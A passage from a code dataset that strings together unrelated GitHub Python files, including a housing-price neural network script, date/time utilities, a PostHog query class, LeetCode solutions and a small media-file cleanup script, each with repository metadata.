flat_type_against_price.append(df[df['flat_type'] == flat]['resale_price'].values)\r\nplt.figure(figsize=(10, 10))\r\nplt.boxplot(flat_type_against_price, labels=flat_type)\r\nplt.ylabel('resale_price')\r\nplt.xticks(rotation=75)\r\nplt.gcf().subplots_adjust(bottom=0.15)\r\nplt.savefig('flat_type.png')\r\nplt.clf()\r\n\r\ntowns = df['town'].unique()\r\ntown_against_price = []\r\nfor town in towns:\r\n town_against_price.append(df[df['town'] == town]['resale_price'].values)\r\nplt.figure(figsize=(20, 10))\r\nplt.boxplot(town_against_price, labels=towns)\r\nplt.ylabel('resale_price')\r\nplt.xticks(rotation=75)\r\nplt.gcf().subplots_adjust(bottom=0.15)\r\nplt.savefig('town.png')\r\nplt.clf()\r\n\r\nmodels = df['flat_model'].unique()\r\nmodels_against_price = []\r\nfor flat_model in models:\r\n models_against_price.append(df[df['flat_model'] == flat_model]['resale_price'].values)\r\nplt.figure(figsize=(20, 10))\r\nplt.boxplot(models_against_price, labels=models)\r\nplt.ylabel('resale_price')\r\nplt.xticks(rotation=75)\r\nplt.gcf().subplots_adjust(bottom=0.15)\r\nplt.savefig('flat_model.png')\r\nplt.clf()\r\n\r\ndf = df.drop(columns=['month', 'flat_type', 'town', 'block', 'street_name', 'storey_range', 'flat_model', 'lease_commence_date', 'remaining_lease'])\r\n\r\n# normalize features\r\nfor col in df.columns:\r\n d = df[col]\r\n max_d = d.max()\r\n min_d = d.min()\r\n if col == 'resale_price':\r\n resale_max = max_d\r\n resale_min = min_d\r\n if max_d and min_d == 0:\r\n continue\r\n else:\r\n df[col] = (df[col] - min_d) / (max_d - min_d)\r\n\r\n# split data into training and test data with ratio 9:1 respectively\r\ntrain_data = df.sample(frac=0.9, random_state=0)\r\ntest_data = df.drop(train_data.index)\r\n\r\nprint('training data shape:', train_data.shape)\r\nprint('test data shape:', test_data.shape)\r\n\r\n# split into features and label\r\nX_cols = df.columns[df.columns != 'resale_price']\r\nY_col = 'resale_price'\r\nprint('Features:', X_cols.values)\r\nprint('Label:', Y_col)\r\n\r\nX_train, Y_train = train_data[X_cols], train_data[Y_col]\r\nX_test, Y_test = test_data[X_cols], test_data[Y_col]\r\n\r\n# ============================================================================\r\n# train model\r\n# ============================================================================\r\nprint(\"=====Train model=====\")\r\n\r\ndef plot_loss(history, name):\r\n loss_train = history.history['loss']\r\n loss_val = history.history['val_loss']\r\n epochs = range(1, len(loss_train) + 1)\r\n plt.plot(epochs, loss_train, 'g', label='Training loss')\r\n plt.plot(epochs, loss_val, 'b', label='validation loss')\r\n plt.title('Training and Validation loss')\r\n plt.xlabel('Epochs')\r\n plt.ylabel('Loss')\r\n plt.legend()\r\n plt.savefig(name + '_loss.png')\r\n plt.clf()\r\n\r\n# linear regression model\r\nprint('linear model:')\r\ntry:\r\n linear_model = tf.keras.models.load_model('linear_model.h5')\r\nexcept:\r\n linear_model = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=1, kernel_regularizer=tf.keras.regularizers.l2(0.01))\r\n ])\r\n\r\n linear_model.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=0.0001),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = linear_model.fit(\r\n X_train,\r\n Y_train,\r\n epochs=100,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n plot_loss(history, 'linear_model')\r\n\r\n linear_model.save('linear_model.h5')\r\n\r\n# deep neural network model\r\nprint('deep neural network model:')\r\ntry:\r\n nnm = tf.keras.models.load_model('nnm.h5')\r\nexcept:\r\n nnm = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=32, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=16, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=8, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=1)\r\n ])\r\n\r\n nnm.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=0.0001),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = nnm.fit(\r\n X_train,\r\n Y_train,\r\n epochs=100,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n plot_loss(history, 'neural_network_model')\r\n\r\n nnm.save('nnm.h5')\r\n\r\n# ============================================================================\r\n# optimize deep neural network model\r\n# ============================================================================\r\nprint(\"=====optimize model=====\")\r\n\r\n# looks for best learning rate for optimizer\r\ndata = {}\r\nfor rate in [0.000003, 0.00001, 0.00003, 0.0001, 0.0003, 0.001, 0.003]:\r\n nnm = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=32, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=16, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=8, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=1)\r\n ])\r\n\r\n nnm.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=rate),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = nnm.fit(\r\n X_train,\r\n Y_train,\r\n epochs=50,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n data[rate] = history.history['val_loss'][-1]\r\n\r\nprint(data)\r\nbest_learning_rate = 0\r\nlowest_cost = min(data.values())\r\nfor k, v in data.items():\r\n if v == lowest_cost:\r\n best_learning_rate = k\r\nprint('best_learning_rate:', best_learning_rate) # 0.0003\r\n\r\n# looks for best lambda for regularizer\r\ndata = {}\r\nfor lambda_ in [0.0000001, 0.000001, 0.00001, 0.0001, 0.001, 0.01, 0.01, 0.1]:\r\n nnm = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=32, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(lambda_)),\r\n tf.keras.layers.Dense(units=16, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(lambda_)),\r\n tf.keras.layers.Dense(units=8, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(lambda_)),\r\n tf.keras.layers.Dense(units=1)\r\n ])\r\n\r\n nnm.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=best_learning_rate),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = nnm.fit(\r\n X_train,\r\n Y_train,\r\n epochs=50,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n data[lambda_] = history.history['val_loss'][-1]\r\n\r\nprint(data)\r\nbest_lambda_ = 0\r\nlowest_cost = min(data.values())\r\nfor k, v in data.items():\r\n if v == lowest_cost:\r\n best_lambda_ = k\r\nprint('best_lambda_:', best_lambda_) # 0.00001\r\n\r\n# ============================================================================\r\n# Final fit and predict with test data\r\n# ============================================================================\r\nprint(\"=====Final fit and predict with test data=====\")\r\n\r\ntry:\r\n final_nnm = tf.keras.models.load_model('final_nnm.h5')\r\nexcept:\r\n best_learning_rate = 0.0003\r\n best_lambda_ = 0.0001\r\n final_nnm = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=32, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(best_lambda_)),\r\n tf.keras.layers.Dense(units=16, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(best_lambda_)),\r\n tf.keras.layers.Dense(units=8, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(best_lambda_)),\r\n tf.keras.layers.Dense(units=1)\r\n ])\r\n\r\n final_nnm.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=best_learning_rate),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = final_nnm.fit(\r\n X_train,\r\n Y_train,\r\n epochs=100,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n plot_loss(history, 'final_neural_network_model')\r\n\r\n final_nnm.save('final_nnm.h5')\r\n\r\ntest_predictions = final_nnm.predict(\r\n X_test,\r\n verbose=0\r\n).flatten()\r\n\r\nprint('Final cost:', final_nnm.evaluate(\r\n X_test,\r\n Y_test,\r\n verbose=0\r\n))\r\n\r\npred = test_predictions[:10] * (resale_max - resale_min) + resale_min\r\nact = Y_test[:10] * (resale_max - resale_min) + resale_min\r\npredictions = pd.DataFrame({\r\n 'predicted': pred,\r\n 'actual': act\r\n})\r\nprint(predictions)\r\n# predicted actual\r\n# 2 295602.06250 262000.0\r\n# 10 302733.93750 288500.0\r\n# 21 338846.15625 321000.0\r\n# 27 354275.84375 335000.0\r\n# 30 351532.12500 373000.0\r\n# 43 478019.40625 518000.0\r\n# 46 686999.00000 688000.0\r\n# 55 802243.06250 888000.0\r\n# 71 317393.68750 300000.0\r\n# 75 319095.18750 310000.0\r\n","repo_name":"OngMinXian/HDB-Resale-Price-Prediction-with-Machine-Learning","sub_path":"resale_price_ML.py","file_name":"resale_price_ML.py","file_ext":"py","file_size_in_byte":11280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72384925609","text":"import datajoint as dj\nimport os\n\nfrom ..architectures.training import Trainer\nfrom ..architectures.models import BaseModel\nfrom ..utils.data import key_hash\n\n\nclass Fit:\n _reg_path_table = None\n _data_table = None\n \n @property\n def definition(self):\n return \"\"\"\n -> {reg_path}\n -> {dataset}\n ---\n num_iterations : int unsigned # number of iterations\n val_loss : float # loss on validation set\n test_corr : float # correlation on test set\n \"\"\".format(reg_path=self._reg_path_table.__name__,\n dataset=self._data_table.__name__)\n\n def _make_tuples(self, key):\n raise NotImplementedError('To be implemented by child classes.')\n\n def get_hash(self, key):\n key = (self.key_source & key).fetch1(dj.key)\n return key_hash(key)\n\n def get_model(self, key):\n log_hash = self.get_hash(key)\n data = (self._data_table() & key).load_data()\n log_dir = os.path.join('checkpoints', self._data_table.database)\n base = BaseModel(data, log_dir=log_dir, log_hash=log_hash)\n model = self._reg_path_table().build_model(key, base)\n return model\n\n def load_model(self, key):\n model = self.get_model(key)\n model.base.tf_session.load()\n return model\n","repo_name":"aecker/cnn-sys-ident","sub_path":"cnn_sys_ident/database/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"53"} +{"seq_id":"3804643174","text":"import time\nimport asyncio\nimport highfive\n\nfrom . import model\nfrom . import distribute\n\n\ncommands = dict()\n\n\ndef command(name):\n\n def register_command(f):\n commands[name] = f\n return f\n\n return register_command\n\n\n@command(\"show\")\nasync def show(cube, master):\n\n print()\n print(cube)\n\n\n@command(\"help\")\nasync def help(cube, master):\n\n print(\"\"\"\n### COMMANDS ###\n\nexit Exits the program immediately.\n\nhelp Shows the command list.\n\nshow Displays the cube in its current state.\n\nreset Resets the cube to a new, solved cube.\n\nshuffle Shuffles the cube a specified number of times from its current state.\n Providing a random seed makes the shuffle reproducible. Also prints\n the shuffle algorithm when finished.\n\nturn Performs a specified algorithm on the cube.\n\nsolve Performs a distributed solve on the cube from its current state to\n the start state. The solution algorithm is printed when found.\n\"\"\")\n\n\n@command(\"reset\")\nasync def reset(cube, master):\n\n return model.Cube()\n\n\n@command(\"shuffle\")\nasync def shuffle(cube, master):\n\n shuffle_depth = None\n while shuffle_depth is None:\n\n try:\n\n shuffle_depth = int(input(\"shuffle depth: \"))\n if shuffle_depth <= 0:\n shuffle_depth = None\n raise ValueError\n\n except ValueError:\n print(\"please enter a positive integer as the shuffle depth\")\n\n seed = input(\"random seed (optional): \")\n if seed == \"\":\n shuffle_algorithm = cube.shuffle(shuffle_depth)\n else:\n shuffle_algorithm = cube.shuffle(shuffle_depth, seed)\n\n print(\"shuffle algorithm: {}\".format(shuffle_algorithm))\n\n\n@command(\"turn\")\nasync def turn(cube, master):\n\n try:\n algorithm = model.Algorithm(input(\"algorithm: \"))\n\n except ValueError:\n print(\"invalid algorithm\")\n\n else:\n cube.apply_algorithm(algorithm)\n\n\n@command(\"solve\")\nasync def solve(cube, master):\n\n start_time = time.time()\n\n solution = await distribute.solve(cube, master)\n\n time_elapsed = int(time.time() - start_time)\n minutes_elapsed, seconds_elapsed = divmod(time_elapsed, 60)\n\n print(\"solution:\", solution)\n print(\"solve took {}m{}s\".format(minutes_elapsed, seconds_elapsed))\n\n\ndef run_command_loop(hostname, port):\n\n asyncio.get_event_loop().run_until_complete(command_loop(hostname, port))\n\n\nasync def command_loop(hostname, port):\n\n async with await highfive.start_master(\n host=hostname, port=port) as master:\n\n cube = model.Cube()\n\n print(\"type 'help' to view a list of commands\\n\")\n while True:\n\n command = input(\"> \")\n\n if command == \"exit\":\n break\n\n if command in commands:\n\n command_function = commands[command]\n\n new_cube = await command_function(cube, master)\n cube = new_cube if new_cube is not None else cube\n\n else:\n print(\"unknown command\")\n\n","repo_name":"abau171/cubetree","sub_path":"cubetree/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"234128163","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# 2018-2019 Fundamentos de Programação\n# Grupo 18\n# 44605 Cláudia Garcia Belém\n\n# Import project modules\nimport constants as C\n\n\n\ndef getDateFromString(date_entry):\n \"\"\"\n Converts a date string into integer variables representing the year, month and day.\n REQUIRES: date_entry is str, represents a date in the format \"yyyy-mm-dd\".\n\n ENSURES: year, month and day, all int and represent the yyyy, mm and dd, respectively.\n \"\"\"\n date_entry = date_entry.split(\"-\")\n\n year = int(date_entry[C.YEAR])\n month = int(date_entry[C.MONTH])\n day = int(date_entry[C.DAY])\n\n return year, month, day\n\n\ndef dateToString(date_tuple):\n \"\"\"\n Converts a date_tuple to a string.\n REQUIRES: a date_tuple in which the first element is year, int >= 0\n the second element is month, 0 < int <= 12\n the third element is day, 0 < day <= 30\n\n ENSURES: a str representing the year (y), month (m) and day (d) specified in the format \"yyyy-mm-dd\"\n \"\"\"\n\n year = date_tuple[C.YEAR]\n\n month = date_tuple[C.MONTH]\n\n day = date_tuple[C.DAY]\n\n if month < 10 and day < 10:\n month = \"0\" + str(month)\n day = \"0\" + str(day)\n elif month < 10:\n month = \"0\" + str(month)\n elif day < 10:\n day = \"0\" + str(day)\n\n return str(year) + \"-\" + str(month) + \"-\" + str(day)\n\n\ndef getTimeFromString(time_entry, delimiter=\":\"):\n \"\"\"\n Converts a time string into integer variables representing the hours and minutes.\n REQUIRES: time_entry is str, represents a time in the format \"hh:mm\".\n\n ENSURES: hour and minute are int and represent the hh and mm in the time entry.\n \"\"\"\n\n time = time_entry.split(delimiter)\n\n hour = int(time[C.HOUR])\n minute = int(time[C.MINUTE])\n\n return (hour, minute)\n\n\ndef timeToString(time_tuple):\n \"\"\"\n Converts a time_tuple to a string.\n REQUIRES: a time_tuple in which the first element is hour, 0 <= int < 24\n the second element is minute, 0 < int < 60\n\n ENSURES: a str representing the hour (hh) and minute (mm) specified in the format \"hh:mm\"\n \"\"\"\n\n hour = (time_tuple[C.HOUR])\n minute = (time_tuple[C.MINUTE])\n\n if 0 <= hour <= 9 and 0 <= minute <= 9:\n hour = \"0\" + str(hour)\n minute = \"0\" + str(minute)\n\n elif 0 <= hour <= 9:\n hour = \"0\" + str(hour)\n\n elif 0 <= minute <= 9:\n minute = \"0\" + str(minute)\n\n time_string = str(hour) + \":\" + str(minute)\n\n return time_string\n\n\ndef addPeriodToTime(time, period_in_hours, period_in_minutes, time_delimiter=\":\"):\n \"\"\"\n Adds period_in_hours and period_in_minutes to time.\n REQUIRES: time is str, represents time in the format \"hh:mm\".\n period_in_hours, is int >= 0\n period_in_minutes, is int >= 0\n time_delimiter is str and represents the delimiter between hh and mm in time.\n\n ENSURES: a str with the updated time (with the added periods) in the format \"hh:mm\"\n an int >= 0, days_to_add that represent the number of days to be added to a date.\n \"\"\"\n\n hour, minute = getTimeFromString(time, time_delimiter)\n\n summed_hours = hour + period_in_hours\n hour_to_minutes = summed_hours * C.MINUTES_PER_HOUR\n\n new_time = hour_to_minutes + minute + period_in_minutes\n\n minutes_to_hour = new_time // C.MINUTES_PER_HOUR\n minutes = new_time % C.MINUTES_PER_HOUR\n\n # default number of days to add\n days_to_add = 0\n\n if minutes_to_hour >= C.HOUR_PER_DAY:\n days_to_add = minutes_to_hour // C.HOUR_PER_DAY\n\n time_tuple = (minutes_to_hour, minutes)\n\n return timeToString(time_tuple), days_to_add\n\n\ndef addDaysToDate(date_string, number_of_days_to_add):\n \"\"\"\n Adds a number of days to a date.\n REQUIRES: date_string is a str, representing a date in the format \"yyyy-mm-dd\"\n number_of_days_to_add is int >= 0\n\n ENSURES: a str representing an updated date (as result of the addition of a specified\n number of days.\n\n >>> addDaysToDate(\"2018-11-1\", 1)\n '2018-11-02'\n >>> addDaysToDate(\"2018-11-30\", 30)\n '2018-12-30'\n >>> addDaysToDate(\"2018-11-30\", 29)\n '2018-12-29'\n >>> addDaysToDate(\"2018-11-30\", 1)\n '2018-12-01'\n >>> addDaysToDate(\"2018-11-29\", 1)\n '2019-11-30'\n >>> addDaysToDate(\"2018-11-29\", 722)\n '2020-12-01'\n >>> addDaysToDate(\"2018-04-30\", 0)\n '2018-04-30'\n >>> addDaysToDate(\"2018-10-30\", 60)\n '2018-12-30'\n \"\"\"\n year, month, day = getDateFromString(date_string)\n\n year_in_days = year * C.MONTHS_PER_YEAR * C.DAYS_PER_MONTH\n month_in_days = month * C.DAYS_PER_MONTH\n\n accumulated_days = day + month_in_days + year_in_days + number_of_days_to_add\n\n updated_year = accumulated_days // (C.DAYS_PER_MONTH * C.MONTHS_PER_YEAR)\n updated_month = (accumulated_days % (C.DAYS_PER_MONTH * C.MONTHS_PER_YEAR)) // (C.DAYS_PER_MONTH)\n updated_day = (accumulated_days % (C.DAYS_PER_MONTH * C.MONTHS_PER_YEAR)) % (C.DAYS_PER_MONTH)\n\n if updated_day == 0 and updated_month == 0:\n updated_day = C.DAYS_PER_MONTH\n updated_month = C.MONTHS_PER_YEAR - 1\n else:\n if updated_day == 0:\n updated_day = C.DAYS_PER_MONTH\n updated_month = updated_month - 1\n\n if updated_month == 0:\n updated_month = C.MONTHS_PER_YEAR\n updated_year = updated_year - 1\n\n date_tuple = (updated_year, updated_month, updated_day)\n\n return dateToString(date_tuple)\n\n\ndef intDateTimeToString(int_value):\n \"\"\"\n Receives an integer value and converts it into string.\n REQUIRES: int_value > 0 corresponding to a date or a time number.\n\n ENSURES: a st with the given number. If 0 <= int_value <= 9,\n returns a str that results of the concatenation of 0 (zero) and the number.\n \"\"\"\n\n str_value = str(int_value)\n if 0 <= int_value <= 9:\n str_value = \"0\" + str_value\n\n return str_value\n\n\ndef selectMostRecentDateTime(date1, time1, date2, time2):\n \"\"\"\n Compares two date/time pairs and retrieves the most recent pair.\n REQUIRES: two pairs of date-time, date1-time1 and date2-time2.\n date1 and date2, each a str representing date in the format \"yyyy-mm-dd\".\n time1 and time2, each a str representing time in the format \"hh:mm\"\n\n ENSURES: the date-time pair, each a str, that represents the most recent date and time.\n\n >>> selectMostRecentDateTime(\"2018-10-03\", \"08:00\", \"2018-10-03\", \"08:01\")\n ('2018-10-03', '08:01')\n\n >>> selectMostRecentDateTime(\"2018-10-03\", \"08:00\", \"2018-10-02\", \"08:00\")\n ('2018-10-03', '08:00')\n \"\"\"\n\n year1, month1, day1 = getDateFromString(date1)\n year2, month2, day2 = getDateFromString(date2)\n\n if (year1 == year2 and month1 == month2 and day1 == day2):\n # since the date is equal, we could also return date2\n return date1, selectMostRecentTime(time1, time2)\n\n elif (year1 > year2):\n return date1, time1\n\n elif (year1 < year2):\n return date2, time2\n\n elif (year1 == year2 and month1 > month2):\n return date1, time1\n\n elif (year1 == year2 and month1 < month2):\n return date2, time2\n\n elif (year1 == year2 and month1 == month2 and day1 > day2):\n return date1, time1\n\n elif (year1 == year2 and month1 == month2 and day1 < day2):\n return date2, time2\n\n\ndef selectMostRecentTime(time1, time2):\n \"\"\"\n Compare two times and retrieves the most recent.\n REQUIRES: time1 and time2, each a str in the format \"hh:mm\"\n\n ENSURES: the most recent time in the format \"hh:mm\"\n \"\"\"\n\n hour1, minute1 = getTimeFromString(time1)\n hour2, minute2 = getTimeFromString(time2)\n\n if (hour1 == hour2 and minute1 == minute2):\n return time1 # since they are equal, it could be time2 too.\n\n elif (hour1 > hour2):\n return time1\n\n elif (hour1 < hour2):\n return time2\n\n elif (hour1 == hour2 and minute1 > minute2):\n return time1\n else:\n return time2\n\n\ndef updateDateTime(date_str, time_str, period_in_hour, period_in_minute, delimiter=\":\"):\n \"\"\"\n Adds period_in_hour and period_in_minutes to time_str and updates the date_str if necessary.\n REQUIRES: date_str, a str representing a date in the format \"yyyy-mm-dd\"\n time_str, a str representing a time in the format \"hh:mm\"\n period_in_hour, an int >= 0\n period_in_minute, an int >= 0\n delimiter that separates hours from minutes in the time_str\n\n ENSURES: the return of updated date and time str in the format \"yyyy-mm-dd\" and \"hh:mm\", respectively.\n \"\"\"\n\n updated_time, number_of_days_to_add = addPeriodToTime(time_str, period_in_hour, period_in_minute, delimiter)\n\n updated_date = addDaysToDate(date_str, number_of_days_to_add)\n\n return updated_date, updated_time\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"Belemz/iCageDoree","sub_path":"cyberConcGroup18/dateTime.py","file_name":"dateTime.py","file_ext":"py","file_size_in_byte":9158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8825428644","text":"from api.agreements.constants.related_names import APPLICATION_WITNESS\nfrom api.agreements.models import ApplicantAgreementDocument, AgreementDocumentWitness\nfrom api.agreements.services.witness_email import WitnessEmailService\nfrom api.applications.models import Application\n\n\nclass WitnessDocumentEmailService:\n def __init__(self, application: Application):\n self.application = application\n\n def has_pending_documents_to_sign(self):\n return ApplicantAgreementDocument.objects.filter(application=self.application).exclude(completed=True).exists()\n\n def process(self):\n if self.has_pending_documents_to_sign():\n return\n if hasattr(self.application, APPLICATION_WITNESS):\n witness_documents = AgreementDocumentWitness.objects.filter(\n witness=self.application.application_witness,\n email_sent=False\n )\n for witness_document in witness_documents:\n WitnessEmailService().send_email(agreement_document_witness_id=witness_document.id)\n","repo_name":"tayyabsaleem7756/jobtest","sub_path":"backend/retail_market/api/agreements/services/witness_document_email.py","file_name":"witness_document_email.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39500647269","text":"from typing import Dict, List, Optional, Tuple, Union\n\nfrom ee.clickhouse.materialized_columns.columns import ColumnName\nfrom ee.clickhouse.queries.column_optimizer import EnterpriseColumnOptimizer\nfrom ee.clickhouse.queries.groups_join_query import GroupsJoinQuery\nfrom posthog.models.filters.filter import Filter\nfrom posthog.models.filters.path_filter import PathFilter\nfrom posthog.models.filters.properties_timeline_filter import PropertiesTimelineFilter\nfrom posthog.models.filters.retention_filter import RetentionFilter\nfrom posthog.models.filters.session_recordings_filter import SessionRecordingsFilter\nfrom posthog.models.filters.stickiness_filter import StickinessFilter\nfrom posthog.models.property import PropertyName\nfrom posthog.models.team import Team\nfrom posthog.queries.event_query.event_query import EventQuery\nfrom posthog.utils import PersonOnEventsMode\n\n\nclass EnterpriseEventQuery(EventQuery):\n _column_optimizer: EnterpriseColumnOptimizer\n\n def __init__(\n self,\n filter: Union[\n Filter,\n PathFilter,\n RetentionFilter,\n StickinessFilter,\n SessionRecordingsFilter,\n PropertiesTimelineFilter,\n ],\n team: Team,\n round_interval=False,\n should_join_distinct_ids=False,\n should_join_persons=False,\n # Extra events/person table columns to fetch since parent query needs them\n extra_fields: List[ColumnName] = [],\n extra_event_properties: List[PropertyName] = [],\n extra_person_fields: List[ColumnName] = [],\n override_aggregate_users_by_distinct_id: Optional[bool] = None,\n person_on_events_mode: PersonOnEventsMode = PersonOnEventsMode.DISABLED,\n **kwargs,\n ) -> None:\n super().__init__(\n filter=filter,\n team=team,\n round_interval=round_interval,\n should_join_distinct_ids=should_join_distinct_ids,\n should_join_persons=should_join_persons,\n extra_fields=extra_fields,\n extra_event_properties=extra_event_properties,\n extra_person_fields=extra_person_fields,\n override_aggregate_users_by_distinct_id=override_aggregate_users_by_distinct_id,\n person_on_events_mode=person_on_events_mode,\n **kwargs,\n )\n\n self._column_optimizer = EnterpriseColumnOptimizer(self._filter, self._team_id)\n\n def _get_groups_query(self) -> Tuple[str, Dict]:\n if isinstance(self._filter, PropertiesTimelineFilter):\n raise Exception(\"Properties Timeline never needs groups query\")\n return GroupsJoinQuery(\n self._filter,\n self._team_id,\n self._column_optimizer,\n person_on_events_mode=self._person_on_events_mode,\n ).get_join_query()\n","repo_name":"PostHog/posthog","sub_path":"ee/clickhouse/queries/event_query.py","file_name":"event_query.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":14422,"dataset":"github-code","pt":"53"} +{"seq_id":"22456726524","text":"'''\n1. Write a program that asks the user to enter some text and then counts how many articles are\nin the text. Articles are the words 'a', 'an', and 'the'.\n'''\n\nfrom string import punctuation\n\na1 = 'a'\na2 = 'an'\na3 = 'the'\ntext = 'In the woods are tree animals: a bear, a giraffe and an pinguin.'\n\nfor i in punctuation:\n text = text.replace(i, '')\nprint(text)\ntext = text.lower()\nprint(text)\ntext1 = text.split()\nprint(text1)\nprint(f'Word {a1} appears {text1.count(a1)} times.')\nprint(f'Word {a2} appears {text1.count(a2)} times.')\nprint(f'Word {a3} appears {text1.count(a3)} times.')","repo_name":"ralucadragan/A-Practical-Introduction-to-Python-Programming","sub_path":"Jau8_More_Lists/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"38131633599","text":"import bisect\nfrom copy import deepcopy\nfrom typing import List\nfrom collections import defaultdict\nfrom util import (\n ListNode, lc_list2singlelinkedlist, lc_singlelinkedlist2list,\n TreeNode, lc_tree2list, lc_list2tree\n)\n\n\nclass Solution:\n def generateTrees(self, n: int) -> List[TreeNode]:\n def build_tree(start, end):\n if start > end:\n return [None]\n rtn = []\n for cur_val in range(start, end + 1):\n cur_left = build_tree(start, cur_val - 1)\n cur_right = build_tree(cur_val + 1, end)\n for left in cur_left:\n for right in cur_right:\n node = TreeNode(cur_val)\n node.left = left\n node.right = right\n rtn.append(node)\n return rtn\n\n if n == 0:\n return [None]\n return build_tree(1, n)\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n test_cases = [\n 2,3\n ]\n for i in test_cases:\n result = sol.generateTrees(i)\n print('hhh')\n for t in result:\n print(lc_tree2list(t))\n","repo_name":"chyt123/cosmos","sub_path":"coding_everyday/lc1-100/lc95/Unique Binary Search Trees II.py","file_name":"Unique Binary Search Trees II.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39412592767","text":"# 647. Palindromic Substrings\n# Given a string s, return the number of palindromic substrings in it.\n# the key is to assume each element as the \"center\" and expand from it\nclass Solution:\n def countSubstrings(self, s):\n count = 0\n \n for i in range(len(s)):\n # odd palidromes\n l,r = i,i\n while l >= 0 and r < len(s) and s[l] == s[r]:\n count += 1\n l -= 1\n r += 1\n # even palidromes\n l,r = i,i + 1\n while l >= 0 and r < len(s) and s[l] == s[r]:\n count += 1\n l -= 1\n r += 1\n \n return count\n\n## main\nif __name__ ==\"__main__\":\n s = \"aaa\"\n sol = Solution()\n print(sol.countSubstrings(s))","repo_name":"frozen211/MyCode","sub_path":"Python/countSubstrings.py","file_name":"countSubstrings.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"40241093934","text":"from multiprocessing.dummy import Pool as ThreadPool\nfrom pathlib import Path\n\n\ndef find_animation(image):\n if image.name.endswith(\".gif\") or image.name.endswith(\".mp4\"):\n try:\n image.unlink()\n except IOError as e:\n print(e)\n\n\nif __name__ == \"__main__\":\n image_path = Path(\"/media/cody/250GB_Int/MEGAsync/piz/new\")\n images = [image for image in image_path.rglob(\"*\")]\n\n pool = ThreadPool(8) # Make a thread pool of 8\n pool.map(find_animation, images)\n pool.close()\n pool.join()\n","repo_name":"crystalattice/animation_remover","sub_path":"del_moving_picts.py","file_name":"del_moving_picts.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"27184554900","text":"#漸化式 解法はokだが遅いのでc++で書けば通ると思われる。\n\nimport numpy as np\nfrom math import log2 \nMASK = (1 << 35) - 1\n\n\ndef multi_xor(mat1,mat2):\n\t#mat1 * mat2をxorとand演算で置き換える\n\n\tmat1 = np.array(mat1)\n\tmat2 = np.array(mat2).T\n\n\tmat1_l = mat1.shape[0]\n\tmat2_l = mat2.shape[1]\n\n\tretmat = [[0]*(mat2_l) for _ in range(mat1_l)] \n\n\tfor row in range(mat2_l):\n\t\ttmp = np.bitwise_and(mat1, mat2[row])\n\t\tfor line in range(mat1_l):\n\t\t\tresult = 0\n\t\t\tfor l in tmp[line]:\n\t\t\t\tresult = result ^ l\n\t\t\tretmat[line][row] = result\n\t\t\t\t\n\n\treturn retmat\n\ndef multi_last(mat1,mat2):\n\n\tmat1 = np.array(mat1)\n\tmat2 = np.array(mat2)\n\n\tmat1_l = mat1.shape[0]\n\tmat2_l = mat2.shape[0]\n\n\tretmat = [[0]*(mat2_l) for _ in range(mat1_l)] \n\n\tfor row in range(mat2_l):\n\t\ttmp = 